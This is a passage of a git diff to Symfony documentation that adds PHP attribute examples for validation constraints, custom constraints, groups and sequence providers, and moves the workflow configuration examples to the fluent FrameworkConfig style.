-            <framework:config>
-                <framework:validation enabled="true"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enabled' => true,
-            ],
-        ]);
-
-Besides, if you plan to use annotations to configure validation, replace the
-previous configuration by the following:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            validation: { enable_annotations: true }
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:validation enable-annotations="true"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enable_annotations' => true,
-            ],
-        ]);
-
-.. tip::
-
-    When using PHP, YAML, and XML files instead of annotations, Symfony looks
-    for by default in the ``config/validator/`` directory, but you can configure
-    other directories with the :ref:`validation.mapping.paths <reference-validation-mapping>` option.
+    ``Validation::createIsValidCallable()`` was introduced in Symfony 5.3.
 
 .. index::
    single: Validation; Constraints
@@ -298,7 +268,7 @@ rules). In order to validate an object, simply map one or more constraints
 to its class and then pass it to the ``validator`` service.
 
 Behind the scenes, a constraint is simply a PHP object that makes an assertive
-statement. In real life, a constraint could be: 'The cake must not be burned'.
+statement. In real life, a constraint could be: ``'The cake must not be burned'``.
 In Symfony, constraints are similar: they are assertions that a condition
 is true. Given a value, a constraint will tell you if that value
 adheres to the rules of the constraint.
@@ -342,7 +312,7 @@ literature genre mostly associated with the author, which can be set to either
         {
             /**
              * @Assert\Choice(
-             *     choices = { "fiction", "non-fiction" },
+             *     choices = {"fiction", "non-fiction"},
              *     message = "Choose a valid genre."
              * )
              */
@@ -351,6 +321,25 @@ literature genre mostly associated with the author, which can be set to either
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(
+                choices: ['fiction', 'non-fiction'],
+                message: 'Choose a valid genre.',
+            )]
+            private $genre;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -437,6 +426,22 @@ options can be specified in this way.
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(['fiction', 'non-fiction'])]
+            private $genre;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -509,7 +514,7 @@ of the form fields::
         $builder
             ->add('myField', TextType::class, [
                 'required' => true,
-                'constraints' => [new Length(['min' => 3])]
+                'constraints' => [new Length(['min' => 3])],
             ])
         ;
     }
@@ -559,6 +564,20 @@ class to have at least 3 characters.
             private $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            #[Assert\Length(min: 3)]
+            private $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -606,11 +625,17 @@ class to have at least 3 characters.
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
                 $metadata->addPropertyConstraint(
                     'firstName',
-                    new Assert\Length(["min" => 3])
+                    new Assert\Length(['min' => 3])
                 );
             }
         }
 
+.. caution::
+
+    The validator will use a value ``null`` if a typed property is uninitialized.
+    This can cause unexpected behavior if the property holds a value when initialized.
+    In order to avoid this, make sure all properties are initialized before validating them.
+
 .. index::
    single: Validation; Getter constraints
 
@@ -649,6 +674,23 @@ this method must return ``true``:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsTrue(message: 'The password cannot match your first name')]
+            public function isPasswordSafe()
+            {
+                // ... return true or false
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index a569e5c6bfa..07fc8c85a73 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -1,7 +1,7 @@
 .. index::
    single: Validation; Custom constraints
 
-How to Create a custom Validation Constraint
+How to Create a Custom Validation Constraint
 ============================================
 
 You can create a custom constraint by extending the base constraint class,
@@ -12,27 +12,47 @@ alphanumeric characters.
 Creating the Constraint Class
 -----------------------------
 
-First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`::
+First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`:
 
-    // src/Validator/Constraints/ContainsAlphanumeric.php
-    namespace App\Validator\Constraints;
+.. configuration-block::
 
-    use Symfony\Component\Validator\Constraint;
+    .. code-block:: php-annotations
 
-    /**
-     * @Annotation
-     */
-    class ContainsAlphanumeric extends Constraint
-    {
-        public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-    }
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        /**
+         * @Annotation
+         */
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+            public $mode = 'strict'; // If the constraint has configuration options, define them as public properties
+        }
+
+    .. code-block:: php-attributes
 
-.. note::
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
 
-    The ``@Annotation`` annotation is necessary for this new constraint in
-    order to make it available for use in classes via annotations.
-    Options for your constraint are represented as public properties on the
-    constraint class.
+        use Symfony\Component\Validator\Constraint;
+
+        #[\Attribute]
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        }
+
+Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
+use it as an annotation/attribute in other classes.
+
+.. versionadded:: 5.2
+
+    The ability to use PHP attributes to configure constraints was introduced in
+    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
+    annotate constraints.
 
 Creating the Validator itself
 -----------------------------
@@ -54,8 +74,8 @@ when actually performing the validation.
 
 The validator class only has one required method ``validate()``::
 
-    // src/Validator/Constraints/ContainsAlphanumericValidator.php
-    namespace App\Validator\Constraints;
+    // src/Validator/ContainsAlphanumericValidator.php
+    namespace App\Validator;
 
     use Symfony\Component\Validator\Constraint;
     use Symfony\Component\Validator\ConstraintValidator;
@@ -71,7 +91,7 @@ The validator class only has one required method ``validate()``::
             }
 
             // custom constraints should ignore null and empty values to allow
-            // other constraints (NotBlank, NotNull, etc.) take care of that
+            // other constraints (NotBlank, NotNull, etc.) to take care of that
             if (null === $value || '' === $value) {
                 return;
             }
@@ -83,6 +103,11 @@ The validator class only has one required method ``validate()``::
                 // separate multiple types using pipes
                 // throw new UnexpectedValueException($value, 'string|int');
             }
+            
+            // access your configuration options like this:
+            if ('strict' === $constraint->mode) {
+                // ...
+            }
 
             if (!preg_match('/^[a-zA-Z0-9]+$/', $value, $matches)) {
                 // the argument must be a string or an object implementing __toString()
@@ -112,7 +137,7 @@ You can use custom validators like the ones provided by Symfony itself:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator as AcmeAssert;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class AcmeEntity
@@ -121,13 +146,32 @@ You can use custom validators like the ones provided by Symfony itself:
 
             /**
              * @Assert\NotBlank
-             * @AcmeAssert\ContainsAlphanumeric
+             * @AcmeAssert\ContainsAlphanumeric(mode="loose")
              */
             protected $name;
 
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class AcmeEntity
+        {
+            // ...
+
+            #[Assert\NotBlank]
+            #[AcmeAssert\ContainsAlphanumeric(options: ['mode' => 'loose'])]
+            protected $name;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -135,7 +179,7 @@ You can use custom validators like the ones provided by Symfony itself:
             properties:
                 name:
                     - NotBlank: ~
-                    - App\Validator\Constraints\ContainsAlphanumeric: ~
+                    - App\Validator\ContainsAlphanumeric: ~
 
     .. code-block:: xml
 
@@ -148,7 +192,7 @@ You can use custom validators like the ones provided by Symfony itself:
             <class name="App\Entity\AcmeEntity">
                 <property name="name">
                     <constraint name="NotBlank"/>
-                    <constraint name="App\Validator\Constraints\ContainsAlphanumeric"/>
+                    <constraint name="App\Validator\ContainsAlphanumeric"/>
                 </property>
             </class>
         </constraint-mapping>
@@ -158,7 +202,7 @@ You can use custom validators like the ones provided by Symfony itself:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints\ContainsAlphanumeric;
+        use App\Validator\ContainsAlphanumeric;
         use Symfony\Component\Validator\Constraints\NotBlank;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
@@ -233,6 +277,11 @@ not to the property:
 
     .. code-block:: php-annotations
 
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        
         /**
          * @AcmeAssert\ProtocolClass
          */
@@ -241,18 +290,31 @@ not to the property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+
+        #[AcmeAssert\ProtocolClass]
+        class AcmeEntity
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
         App\Entity\AcmeEntity:
             constraints:
-                - App\Validator\Constraints\ProtocolClass: ~
+                - App\Validator\ProtocolClass: ~
 
     .. code-block:: xml
 
         <!-- config/validator/validation.xml -->
         <class name="App\Entity\AcmeEntity">
-            <constraint name="App\Validator\Constraints\ProtocolClass"/>
+            <constraint name="App\Validator\ProtocolClass"/>
         </class>
 
     .. code-block:: php
@@ -260,7 +322,7 @@ not to the property:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints\ProtocolClass;
+        use App\Validator\ProtocolClass;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
         class AcmeEntity
diff --git a/validation/groups.rst b/validation/groups.rst
index b25c82236fc..70dcc975655 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -42,6 +42,27 @@ user registers and when a user updates their contact information later:
             private $city;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Security\Core\User\UserInterface;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User implements UserInterface
+        {
+            #[Assert\Email(groups: ['registration'])]
+            private $email;
+
+            #[Assert\NotBlank(groups: ['registration'])]
+            #[Assert\Length(min: 7, groups: ['registration'])]
+            private $password;
+
+            #[Assert\Length(min: 2)]
+            private $city;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -123,7 +144,7 @@ user registers and when a user updates their contact information later:
                 ]));
 
                 $metadata->addPropertyConstraint('city', new Assert\Length([
-                    "min" => 2,
+                    'min' => 2,
                 ]));
             }
         }
diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index cd25bec0653..3565de902d8 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -25,7 +25,7 @@ address. From inside a controller, it looks like this::
             $emailConstraint
         );
 
-        if (0 === count($errors)) {
+        if (!$errors->count()) {
             // ... this IS a valid email address, do something
         } else {
             // this is *not* a valid email address
@@ -88,7 +88,7 @@ Validation of arrays is possible using the ``Collection`` constraint::
                 new Assert\Collection([
                     'slug' => [
                         new Assert\NotBlank(),
-                        new Assert\Type(['type' => 'string'])
+                        new Assert\Type(['type' => 'string']),
                     ],
                     'label' => [
                         new Assert\NotBlank(),
@@ -105,3 +105,10 @@ The ``validate()`` method returns a :class:`Symfony\\Component\\Validator\\Const
 object, which acts like an array of errors. Each error in the collection
 is a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object,
 which holds the error message on its ``getMessage()`` method.
+
+.. note::
+
+    When using groups with the
+    :doc:`Collection </reference/constraints/Collection>` constraint, be sure to
+    use the ``Optional`` constraint when appropriate as explained in its
+    reference documentation.
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 503c50f67e5..699711b661d 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -47,6 +47,33 @@ username and the password are different only if all other validation passes
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Security\Core\User\UserInterface;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\GroupSequence(['User', 'Strict'])]
+        class User implements UserInterface
+        {
+            #[Assert\NotBlank]
+            private $username;
+
+            #[Assert\NotBlank]
+            private $password;
+
+            #[Assert\IsTrue(
+                message: 'The password cannot match your username',
+                groups: ['Strict'],
+            )]
+            public function isPasswordSafe()
+            {
+                return ($this->username !== $this->password);
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -151,7 +178,7 @@ You can also define a group sequence in the ``validation_groups`` form option::
 
     // src/Form/MyType.php
     namespace App\Form;
-    
+
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\OptionsResolver\OptionsResolver;
     use Symfony\Component\Validator\Constraints\GroupSequence;
@@ -204,6 +231,27 @@ entity and a new constraint group called ``Premium``:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotBlank]
+            private $name;
+
+            #[Assert\CardScheme(
+                schemes: [Assert\CardScheme::VISA],
+                groups: ['Premium'],
+            )]
+            private $creditCard;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -263,7 +311,7 @@ entity and a new constraint group called ``Premium``:
             {
                 $metadata->addPropertyConstraint('name', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme([
-                    'schemes' => ['VISA'],
+                    'schemes' => [Assert\CardScheme::VISA],
                     'groups'  => ['Premium'],
                 ]));
             }
@@ -319,6 +367,19 @@ provides a sequence of groups to be validated:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        // ...
+
+        #[Assert\GroupSequenceProvider]
+        class User implements GroupSequenceProviderInterface
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/validation/severity.rst b/validation/severity.rst
index 23b81145ee9..7df7746c7f2 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -50,6 +50,25 @@ Use the ``payload`` option to configure the error level for each constraint:
             protected $bankAccountNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotBlank(payload: ['severity' => 'error'])]
+            protected $username;
+
+            #[Assert\NotBlank(payload: ['severity' => 'error'])]
+            protected $password;
+
+            #[Assert\Iban(payload: ['severity' => 'warning'])]
+            protected $bankAccountNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -137,7 +156,7 @@ method. Each constraint exposes the attached payload as a public property::
     // Symfony\Component\Validator\ConstraintViolation
     $constraintViolation = ...;
     $constraint = $constraintViolation->getConstraint();
-    $severity = isset($constraint->payload['severity']) ? $constraint->payload['severity'] : null;
+    $severity = $constraint->payload['severity'] ?? null;
 
 For example, you can leverage this to customize the ``form_errors`` block
 so that the severity is added as an additional HTML class:
diff --git a/validation/translations.rst b/validation/translations.rst
index 5c22f9362c3..10ce5b11275 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -4,12 +4,19 @@
 How to Translate Validation Constraint Messages
 ===============================================
 
-If you're using validation constraints with the Form component, you can translate
-the error messages by creating a translation resource for the
-``validators`` :ref:`domain <translation-resource-locations>`.
+The validation constraints used in forms can translate their error messages by
+creating a translation resource for the ``validators``
+:ref:`translation domain <translation-resource-locations>`.
 
-To start, suppose you've created a plain-old-PHP object that you need to
-use somewhere in your application::
+First of all, install the Symfony translation component (if it's not already
+installed in your application) running the following command:
+
+.. code-block:: terminal
+
+    $ composer require symfony/translation
+
+Suppose you've created a plain-old-PHP object that you need to use somewhere in
+your application::
 
     // src/Entity/Author.php
     namespace App\Entity;
@@ -40,6 +47,19 @@ property is not empty, add the following:
             public $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank(message: 'author.name.not_blank')]
+            public $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -93,8 +113,8 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
 
     .. code-block:: xml
 
-        <!-- translations/validators.en.xlf -->
-        <?xml version="1.0"?>
+        <!-- translations/validators/validators.en.xlf -->
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -108,12 +128,12 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
 
     .. code-block:: yaml
 
-        # translations/validators.en.yaml
+        # translations/validators/validators.en.yaml
         author.name.not_blank: Please enter an author name.
 
     .. code-block:: php
 
-        // translations/validators.en.php
+        // translations/validators/validators.en.php
         return [
             'author.name.not_blank' => 'Please enter an author name.',
         ];
diff --git a/web_link.rst b/web_link.rst
index 1c802a518da..dd8ce736e89 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -62,7 +62,7 @@ correct prioritization and the content security policy:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style' }) }}">
     </head>
 
 If you reload the page, the perceived performance will improve because the
@@ -77,7 +77,7 @@ requested the HTML page.
 
         <head>
             <!-- ... -->
-            <link rel="stylesheet" href="{{ preload(asset('build/app.css')) }}">
+            <link rel="preload" href="{{ preload(asset('build/app.css')) }}">
         </head>
 
 Additionally, according to `the Priority Hints specification`_, you can signal
@@ -87,7 +87,7 @@ the priority of the resource to download using the ``importance`` attribute:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}">
     </head>
 
 How does it work?
@@ -111,7 +111,7 @@ issuing an early separate HTTP request, use the ``nopush`` option:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
     </head>
 
 Resource Hints
@@ -145,7 +145,7 @@ any link implementing the `PSR-13`_ standard. For instance, any
     <head>
         <!-- ... -->
         <link rel="alternate" href="{{ link('/index.jsonld', 'alternate') }}">
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
     </head>
 
 The previous snippet will result in this HTTP header being sent to the client:
diff --git a/workflow.rst b/workflow.rst
index 43593eb739d..263b8997861 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -120,50 +120,47 @@ like this:
 
         // config/packages/workflow.php
         use App\Entity\BlogPost;
-
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'blog_publishing' => [
-                    'type' => 'workflow', // or 'state_machine'
-                    'audit_trail' => [
-                        'enabled' => true
-                    ],
-                    'marking_store' => [
-                        'type' => 'method',
-                        'property' => 'currentPlace',
-                    ],
-                    'supports' => [BlogPost::class],
-                    'initial_marking' => 'draft',
-                    'places' => [
-                        'draft',
-                        'reviewed',
-                        'rejected',
-                        'published',
-                    ],
-                    'transitions' => [
-                        'to_review' => [
-                            'from' => 'draft',
-                            'to' => 'reviewed',
-                        ],
-                        'publish' => [
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                        ],
-                        'reject' => [
-                            'from' => 'reviewed',
-                            'to' => 'rejected',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            $blogPublishing
+                ->type('workflow') // or 'state_machine'
+                ->supports([BlogPost::class])
+                ->initialMarking(['draft']);
+
+            $blogPublishing->auditTrail()->enabled(true);
+            $blogPublishing->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $blogPublishing->place()->name('draft');
+            $blogPublishing->place()->name('reviewed');
+            $blogPublishing->place()->name('rejected');
+            $blogPublishing->place()->name('published');
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    ->from(['draft'])
+                    ->to(['reviewed']);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    ->from(['reviewed'])
+                    ->to(['published']);
+
+            $blogPublishing->transition()
+                ->name('reject')
+                    ->from(['reviewed'])
+                    ->to(['rejected']);
+        };
 
 .. tip::
 
     If you are creating your first workflows, consider using the ``workflow:dump``
     command to :doc:`debug the workflow contents </workflow/dumping-workflows>`.
 
-The configured property will be used via it's implemented getter/setter methods by the marking store::
+The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php
     namespace App\Entity;
@@ -232,13 +229,16 @@ what actions are allowed on a blog post::
 
     // See all the available transitions for the post in the current state
     $transitions = $workflow->getEnabledTransitions($post);
+    // See a specific available transition for the post in the current state
+    $transition = $workflow->getEnabledTransition($post, 'publish');
 
 Accessing the Workflow in a Class
 ---------------------------------
 
 You can use the workflow inside a class by using
 :doc:`service autowiring </service_container/autowiring>` and using
-``camelCased workflow name + Workflow`` as parameter name::
+``camelCased workflow name + Workflow`` as parameter name. If it is a state
+machine type, use ``camelCased workflow name + StateMachine``::
 
     use App\Entity\BlogPost;
     use Symfony\Component\Workflow\WorkflowInterface;
@@ -247,7 +247,7 @@ You can use the workflow inside a class by using
     {
         private $blogPublishingWorkflow;
 
-        // this injects the blog_publishing workflow configured before
+        // Symfony will inject the 'blog_publishing' workflow configured before
         public function __construct(WorkflowInterface $blogPublishingWorkflow)
         {
             $this->blogPublishingWorkflow = $blogPublishingWorkflow;
@@ -378,11 +378,37 @@ order:
     * ``workflow.[workflow name].announce``
     * ``workflow.[workflow name].announce.[transition name]``
 
+    You can avoid triggering those events by using the context::
+
+        $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
+
+    .. versionadded:: 5.1
+
+        The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
+
+    .. versionadded:: 5.2
+
+        In Symfony 5.2, the context is customizable for all events except for
+        ``workflow.guard`` events, which will not receive the custom ``$context``::
+
+            // $context must be an array
+            $context = ['context_key' => 'context_value'];
+            $workflow->apply($subject, $transitionName, $context);
+
+            // in an event listener
+            $context = $event->getContext(); // returns ['context']
+
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay
     in same place.
 
+.. note::
+
+    If you initialize the marking by calling ``$workflow->getMarking($object);``,
+    then the ``workflow.[workflow_name].entered.[initial_place_name]`` event will
+    be called with the default context (``Workflow::DEFAULT_INITIAL_CONTEXT``).
+
 Here is an example of how to enable logging for every time a "blog_publishing"
 workflow leaves a place::
 
@@ -421,6 +447,18 @@ workflow leaves a place::
         }
     }
 
+If some listeners update the context during a transition, you can retrieve
+it via the marking::
+
+    $marking = $workflow->apply($post, 'to_review');
+
+    // contains the new value
+    $marking->getContext();
+
+.. versionadded:: 5.4
+
+    The ability to get the new value from the marking was introduced in Symfony 5.4.
+
 .. _workflow-usage-guard-events:
 
 Guard Events
@@ -525,23 +563,25 @@ to :ref:`Guard events <workflow-usage-guard-events>`, which are always fired:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'workflows' => [
-                'blog_publishing' => [
-                    // you can pass one or more event names
-                    'events_to_dispatch' => [
-                        'workflow.leave',
-                        'workflow.completed',
-                    ],
-
-                    // pass an empty array to not dispatch any event
-                    'events_to_dispatch' => [],
-
-                    // ...
-                ],
-            ],
-        ]);
+
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+
+            // ...
+            // you can pass one or more event names
+            $blogPublishing->eventsToDispatch([
+                'workflow.leave',
+                'workflow.completed',
+            ]);
+
+            // pass an empty array to not dispatch any event
+            $blogPublishing->eventsToDispatch([]);
+
+            // ...
+        };
 
 You can also disable a specific event from being fired when applying a transition::
 
@@ -703,36 +743,33 @@ transition. The value of this option is any valid expression created with the
     .. code-block:: php
 
         // config/packages/workflow.php
-        use App\Entity\BlogPost;
-
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'blog_publishing' => [
-                    // ... previous configuration
-
-                    'transitions' => [
-                        'to_review' => [
-                            // the transition is allowed only if the current user has the ROLE_REVIEWER role.
-                            'guard' => 'is_granted("ROLE_REVIEWER")',
-                            'from' => 'draft',
-                            'to' => 'reviewed',
-                        ],
-                        'publish' => [
-                            // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
-                            'guard' => 'is_authenticated',
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                        ],
-                        'reject' => [
-                            // or any valid expression language with "subject" referring to the post
-                            'guard' => 'is_granted("ROLE_ADMIN") and subject.isStatusReviewed()',
-                            'from' => 'reviewed',
-                            'to' => 'rejected',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ... previous configuration
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    // the transition is allowed only if the current user has the ROLE_REVIEWER role.
+                    ->guard('is_granted("ROLE_REVIEWER")')
+                    ->from(['draft'])
+                    ->to(['reviewed']);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
+                    ->guard('is_authenticated')
+                    ->from(['reviewed'])
+                    ->to(['published']);
+
+            $blogPublishing->transition()
+                ->name('reject')
+                    // or any valid expression language with "subject" referring to the post
+                    ->guard('is_granted("ROLE_ADMIN") and subject.isStatusReviewed()')
+                    ->from(['reviewed'])
+                    ->to(['rejected']);
+        };
 
 You can also use transition blockers to block and return a user-friendly error
 message when you stop a transition from happening.
@@ -788,6 +825,9 @@ of domain logic in your templates:
 ``workflow_transitions()``
     Returns an array with all the transitions enabled for the given object.
 
+``workflow_transition()``
+    Returns a specific transition enabled for the given object and transition name.
+
 ``workflow_marked_places()``
     Returns an array with the place names of the given marking.
 
@@ -914,42 +954,43 @@ be only the title of the workflow or very complex objects:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ... previous configuration
+
+            $blogPublishing->metadata([
+                'title' => 'Blog Publishing Workflow'
+            ]);
+
+            // ...
+
+            $blogPublishing->place()
+                ->name('draft')
+                ->metadata([
+                    'max_num_of_words' => 500,
+                ]);
+
             // ...
-            'workflows' => [
-                'blog_publishing' => [
-                    'metadata' => [
-                        'title' => 'Blog Publishing Workflow',
-                    ],
-                    // ...
-                    'places' => [
-                        'draft' => [
-                            'metadata' => [
-                                'max_num_of_words' => 500,
-                            ],
-                        ],
-                        // ...
-                    ],
-                    'transitions' => [
-                        'to_review' => [
-                            'from' => 'draft',
-                            'to' => 'review',
-                            'metadata' => [
-                                'priority' => 0.5,
-                            ],
-                        ],
-                        'publish' => [
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                            'metadata' => [
-                                'hour_limit' => 20,
-                                'explanation' => 'You can not publish after 8 PM.',
-                            ],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    ->from(['draft'])
+                    ->to(['reviewed'])
+                    ->metadata([
+                        'priority' => 0.5,
+                    ]);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    ->from(['reviewed'])
+                    ->to(['published'])
+                    ->metadata([
+                        'hour_limit' => 20,
+                        'explanation' => 'You can not publish after 8 PM.',
+                    ]);
+        };
 
 Then you can access this metadata in your controller as follows::
 
@@ -1031,6 +1072,15 @@ In Twig templates, metadata is available via the ``workflow_metadata()`` functio
             {% endfor %}
         </ul>
     </p>
+    <p>
+        <strong>to_review Priority</strong>
+        <ul>
+            <li>
+                to_review:
+                <code>{{ workflow_metadata(blog_post, 'priority', workflow_transition(blog_post, 'to_review')) }}</code>
+            </li>
+        </ul>
